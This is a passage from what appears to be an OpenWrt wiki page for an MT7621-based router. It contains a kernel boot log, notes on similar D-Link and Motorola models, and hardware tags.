pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff pref] [ 2.122592] pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02 [ 2.135828] pci 0000:00:00.0: BAR 0: no space for [mem size 0x80000000] [ 2.149008] pci 0000:00:00.0: BAR 0: failed to assign [mem size 0x80000000] [ 2.162886] pci 0000:00:01.0: BAR 0: no space for [mem size 0x80000000] [ 2.176065] pci 0000:00:01.0: BAR 0: failed to assign [mem size 0x80000000] [ 2.189956] pci 0000:00:00.0: BAR 8: assigned [mem 0x60000000-0x600fffff] [ 2.203485] pci 0000:00:00.0: BAR 9: assigned [mem 0x60100000-0x601fffff pref] [ 2.217886] pci 0000:00:01.0: BAR 8: assigned [mem 0x60200000-0x602fffff] [ 2.231420] pci 0000:00:01.0: BAR 9: assigned [mem 0x60300000-0x603fffff pref] [ 2.245816] pci 0000:00:00.0: BAR 1: assigned [mem 0x60400000-0x6040ffff] [ 2.259355] pci 0000:00:01.0: BAR 1: assigned [mem 0x60410000-0x6041ffff] [ 2.272886] pci 0000:00:00.0: BAR 7: assigned [io 0x1e160000-0x1e160fff] [ 2.286419] pci 0000:00:01.0: BAR 7: assigned [io 0x1e161000-0x1e161fff] [ 2.299958] pci 0000:01:00.0: BAR 0: assigned [mem 0x60000000-0x600fffff 64bit] [ 2.314538] pci 0000:00:00.0: PCI bridge to [bus 01] [ 2.324429] pci 0000:00:00.0: bridge window [io 0x1e160000-0x1e160fff] [ 2.337969] pci 0000:00:00.0: bridge window [mem 0x60000000-0x600fffff] [ 2.351503] pci 0000:00:00.0: bridge window [mem 0x60100000-0x601fffff pref] [ 2.365902] pci 0000:02:00.0: BAR 0: assigned [mem 0x60200000-0x602fffff 64bit] [ 2.380480] pci 0000:00:01.0: PCI bridge to [bus 02] [ 2.390377] pci 0000:00:01.0: bridge window [io 0x1e161000-0x1e161fff] [ 2.403904] pci 0000:00:01.0: bridge window [mem 0x60200000-0x602fffff] [ 2.417430] pci 0000:00:01.0: bridge window [mem 0x60300000-0x603fffff pref] [ 2.432534] hctosys: unable to open rtc device (rtc0) [ 2.443325] mt7530 mdio-bus:1f: Link is Up - 1Gbps/Full - flow control off [ 2.460818] VFS: Mounted root (squashfs filesystem) readonly on device 31:5. [ 2.479045] Freeing unused kernel memory: 1240K [ 2.488091] This architecture does not have kernel memory protection. [ 2.500916] Run /sbin/init as init process [ 3.047184] init: Console is alive [ 3.054235] init: - watchdog - [ 3.722727] kmodloader: loading kernel modules from /etc/modules-boot.d/* [ 3.820614] kmodloader: done loading kernel modules from /etc/modules-boot.d/* [ 3.842320] init: - preinit - [ 4.336938] mtk_soc_eth 1e100000.ethernet eth0: configuring for fixed/rgmii link mode [ 4.353073] mtk_soc_eth 1e100000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx [ 4.370000] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 4.521685] random: jshn: uninitialized urandom read (4 bytes read) [ 4.589015] random: jshn: uninitialized urandom read (4 bytes read) [ 4.637114] random: jshn: uninitialized urandom read (4 bytes read) [ 4.798118] mt7530 mdio-bus:1f lan1: configuring for phy/gmii link mode [ 4.811711] 8021q: adding VLAN 0 to HW filter on device lan1 Press the [f] key and hit [enter] to enter failsafe mode Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level [ 9.034262] jffs2: notice: (583) jffs2_build_xattr_subsystem: complete building xattr subsystem, 9 of xdatum (0 unchecked, 2 orphan) and 10 of xref (2 dead, 0 orphan) found. [ 9.067031] mount_root: switching to jffs2 overlay [ 9.090960] overlayfs: upper fs does not support tmpfile. [ 9.106744] urandom-seed: Seeding with /etc/urandom.seed [ 9.205680] procd: - early - [ 9.211543] procd: - watchdog - [ 9.802102] procd: - watchdog - [ 9.808705] procd: - ubus - [ 9.900782] urandom_read: 5 callbacks suppressed [ 9.900794] random: ubusd: uninitialized urandom read (4 bytes read) [ 9.924232] random: ubusd: uninitialized urandom read (4 bytes read) [ 9.938493] procd: - init - Please press Enter to activate this console. [ 10.339855] kmodloader: loading kernel modules from /etc/modules.d/* [ 10.365774] Loading modules backported from Linux version v5.7-rc3-0-g6a8b55ed4056 [ 10.380891] Backport generated by backports.git v5.7-rc3-1-0-gc0c7d2bb [ 10.410495] xt_time: kernel timezone is -0000 [ 10.466155] mt7621-pci 1e140000.pcie: bus=1 slot=0 irq=23 [ 10.476959] pci 0000:00:00.0: enabling device (0004 -> 0007) [ 10.488244] mt7615e 0000:01:00.0: enabling device (0000 -> 0002) [ 10.516173] mt7621-pci 1e140000.pcie: bus=2 slot=1 irq=24 [ 10.527023] pci 0000:00:01.0: enabling device (0004 -> 0007) [ 10.538384] mt7615e 0000:02:00.0: enabling device (0000 -> 0002) [ 10.557452] mt7615e 0000:01:00.0: HW/SW Version: 0x8a108a10, Build Time: 20180518100604a [ 10.557452] [ 10.567838] urngd: v1.0.2 started. [ 10.605405] mt7615e 0000:02:00.0: HW/SW Version: 0x8a108a10, Build Time: 20180518100604a [ 10.605405] [ 10.611739] PPP generic driver version 2.4.2 [ 10.637364] NET: Registered protocol family 24 [ 10.668335] kmodloader: done loading kernel modules from /etc/modules.d/* [ 10.786951] random: crng init done [ 10.844406] mt7615e 0000:01:00.0: N9 Firmware Version: 2.0, Build Time: 20200131181812 [ 10.844461] mt7615e 0000:02:00.0: N9 Firmware Version: 2.0, Build Time: 20200131181812 [ 10.917143] mt7615e 0000:01:00.0: CR4 Firmware Version: _reserved_, Build Time: 20190121161307 [ 10.917286] mt7615e 0000:02:00.0: CR4 Firmware Version: _reserved_, Build Time: 20190121161307 [ 15.558210] mtk_soc_eth 1e100000.ethernet eth0: Link is Down [ 15.575189] mtk_soc_eth 1e100000.ethernet eth0: configuring for fixed/rgmii link mode [ 15.591252] mtk_soc_eth 1e100000.ethernet eth0: Link is Up - 1Gbps/Full - flow control rx/tx [ 15.596163] mt7530 mdio-bus:1f lan1: configuring for phy/gmii link mode [ 15.621855] 8021q: adding VLAN 0 to HW filter on device lan1 [ 15.635927] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready [ 15.649385] br-lan: port 1(lan1) entered blocking state [ 15.659868] br-lan: port 1(lan1) entered disabled state [ 15.671337] device lan1 entered promiscuous mode [ 15.680606] device eth0 entered promiscuous mode [ 15.710290] mt7530 mdio-bus:1f lan2: configuring for phy/gmii link mode [ 15.724116] 8021q: adding VLAN 0 to HW filter on device lan2 [ 15.738953] br-lan: port 2(lan2) entered blocking state [ 15.749442] br-lan: port 2(lan2) entered disabled state [ 15.761164] device lan2 entered promiscuous mode [ 15.780314] mt7530 mdio-bus:1f lan3: configuring for phy/gmii link mode [ 15.794177] 8021q: adding VLAN 0 to HW filter on device lan3 [ 15.808594] br-lan: port 3(lan3) entered blocking state [ 15.819080] br-lan: port 3(lan3) entered disabled state [ 15.831156] device lan3 entered promiscuous mode [ 15.849011] mt7530 mdio-bus:1f lan4: configuring for phy/gmii link mode [ 15.862789] 8021q: adding VLAN 0 to HW filter on device lan4 [ 15.877566] br-lan: port 4(lan4) entered blocking state [ 15.888161] br-lan: port 4(lan4) entered disabled state [ 15.899940] device lan4 entered promiscuous mode [ 15.924742] mt7530 mdio-bus:1f wan: configuring for phy/gmii link mode [ 15.938680] 8021q: adding VLAN 0 to HW filter on device wan [ 15.942474] mt7530 mdio-bus:1f lan1: Link is Up - 1Gbps/Full - flow control rx/tx [ 15.957448] br-lan: port 1(lan1) entered blocking state [ 15.967888] br-lan: port 1(lan1) entered forwarding state [ 15.979487] IPv6: ADDRCONF(NETDEV_CHANGE): br-lan: link becomes ready Notes This router has nearly identical internals and the same specs as the D-Link DIR-878 A1, D-Link DIR-882 A1 and Motorola MR2600 v1 apart from the lack of USB ports and just 3×3 streams. Due to this similarity, most software/hardware mods and even firmwares for the DIR-878, DIR-882 and MR2600 can be applied to this router without issues. D-Link DIR-1760 A1, D-Link DIR-1960 A1, D-Link DIR-2640 A1 and D-Link DIR-2660 A1 also are very similar to this router, but they have more RAM (256 MB) and flash (128 MB NAND). Known Issues MT7615N 5 GHz Problems Tags MT7621, MT7621AT, ramips, mips, mips32, 24kc, 16Flash, 128RAM, MT7615N, mt76, vth160, mu-mimo, 256-qam, 3x3, 4ant, 1NIC, 2WNIC, 5port, GigabitEthernet, 802.11abgnac, 0USB, Serial, 3button, 12v powered This website uses cookies. By using the website, you agree with storing cookies on your computer. Also you acknowledge that you have read and understand our Privacy Policy. If you do not agree leave the website.OKMore information about cookies mt7621 mt7621at ramips mips mips32 24kc 16flash 128ram mt7615n mt76 vth160 mu-mimo 256-qam 3x3 4ant 1nic 2wnic 5port gigabitethernet 802.11abgnac 0usb serial 3button 12v powered Last modified: 2023/11/26 20:20by mrjk